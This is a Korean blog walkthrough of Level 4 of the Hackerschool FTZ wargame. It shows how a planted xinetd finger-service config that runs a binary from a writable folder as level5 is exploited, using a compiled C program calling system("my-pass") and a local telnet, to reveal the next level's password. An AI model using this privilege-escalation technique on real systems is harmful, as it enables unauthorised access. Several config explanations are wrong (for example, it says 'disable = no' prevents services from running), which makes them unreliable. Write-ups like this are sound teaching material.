FTZ_해커스쿨

[FTZ] Level_4

YaluStar 2018. 10. 18. 11:50

안녕하세요.

FTZ Level_4 문제를 풀어보겠습니다.


ls -l 명령어를 입력하여 파일을 확인합니다.

결과 목록 중에서 hint 파일의 내용을 확인해보겠습니다.




cat hint 명령어를 입력합니다.


힌트의 내용이 출력됩니다.


"누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!"




/etc/xinetd.d/ 디렉토리에 백도어가 있다고 하니 이동을 합니다.

cd /etc/xinetd.d/ 명령어를 입력하여 디렉토리로 이동합니다.


ls -l 명령어를 입력하여 파일을 확인합니다.

backdoor 이름으로 파일이 1개 있습니다.




backdoor 파일에서는 읽기 권한만 있으므로 cat 명령어를 이용하여 내용을 확인해봅니다.




하나 씩 살펴보면


finger 이라는 service가 있습니다.


disable = no 설정으로 나열된 서비스 값들이 실행되지 못하도록 지정하였습니다.


flags 설정포트가 사용중인 경우에도 재이용 할 수 있도록 지원 하는 기능입니다.


socket_type 설정은 stream 기반의 서비스로 설정하였습니다.


wait = no 설정으로 다중 스레드를 사용합니다 ("yes"는 단일 스레드)


user = level5 설정level5 사용자가 실행 할 수 있습니다.


server 설정으로 /home/level4/tmp/ 폴더의 backdoor 이름을 가진 파일을 실행합니다.


log_on_failure 설정원격 사용자의 ID 입니다.



설정들을 정리하면

"finger 서비스를 실행하면 level5의 권한으로 /home/level4/tmp/backdoor을 실행한다." 입니다.




그러면 데몬 프로그램의 실행위치인 /home/level4/tmp/ 디렉토리로 이동하여 봅니다.

cd /home/level4/tmp/




그리고 vi 를 이용하여 backdoor.c 파일을 하나 만들어 줍니다.

vi backdoor.c



backdoor.c 파일의 내용 안에 다음과 같이 입력합니다.

vi 사용시 처음 입력할 때 i 키를 눌러줘야 입력이 됩니다.


#include <stdio.h>

#include <stdlib.h>

int main(void)

{

system("my-pass");

}


입력이 끝나신 후에는 ESC 키를 누른 후 :wq 를 입력하고 엔터를 쳐줍니다.




작성한 backdoor.c 파일을 컴파일 합니다.

gcc -o backdoor backdoor.c




ls -l 명령어를 사용하여 파일이 생겼는지 확인합니다.




이번에는 cat 명령어와 grep 명령어를 이용하여 finger 서비스가 어떤 포트에서 사용되는지 확인합니다.

cat /etc/services | grep finger




finger 서비스는 79번 포트를 사용하는 것을 확인하였습니다.

telnet 을 이용하여 finger 를 실행합니다.

telnet localhost 79




Level5의 비밀번호가 나타났습니다.

what is your name?





Level_4 을 클리어 하였습니다.


반응형

'FTZ_해커스쿨' 카테고리의 다른 글

[FTZ] Level_5  (0) 2019.09.20
[FTZ] Level_3  (0) 2018.10.15
[FTZ] Level_2  (0) 2018.10.14
[FTZ] Level_1  (0) 2018.10.11
[FTZ] 로컬 환경 구축  (2) 2018.10.11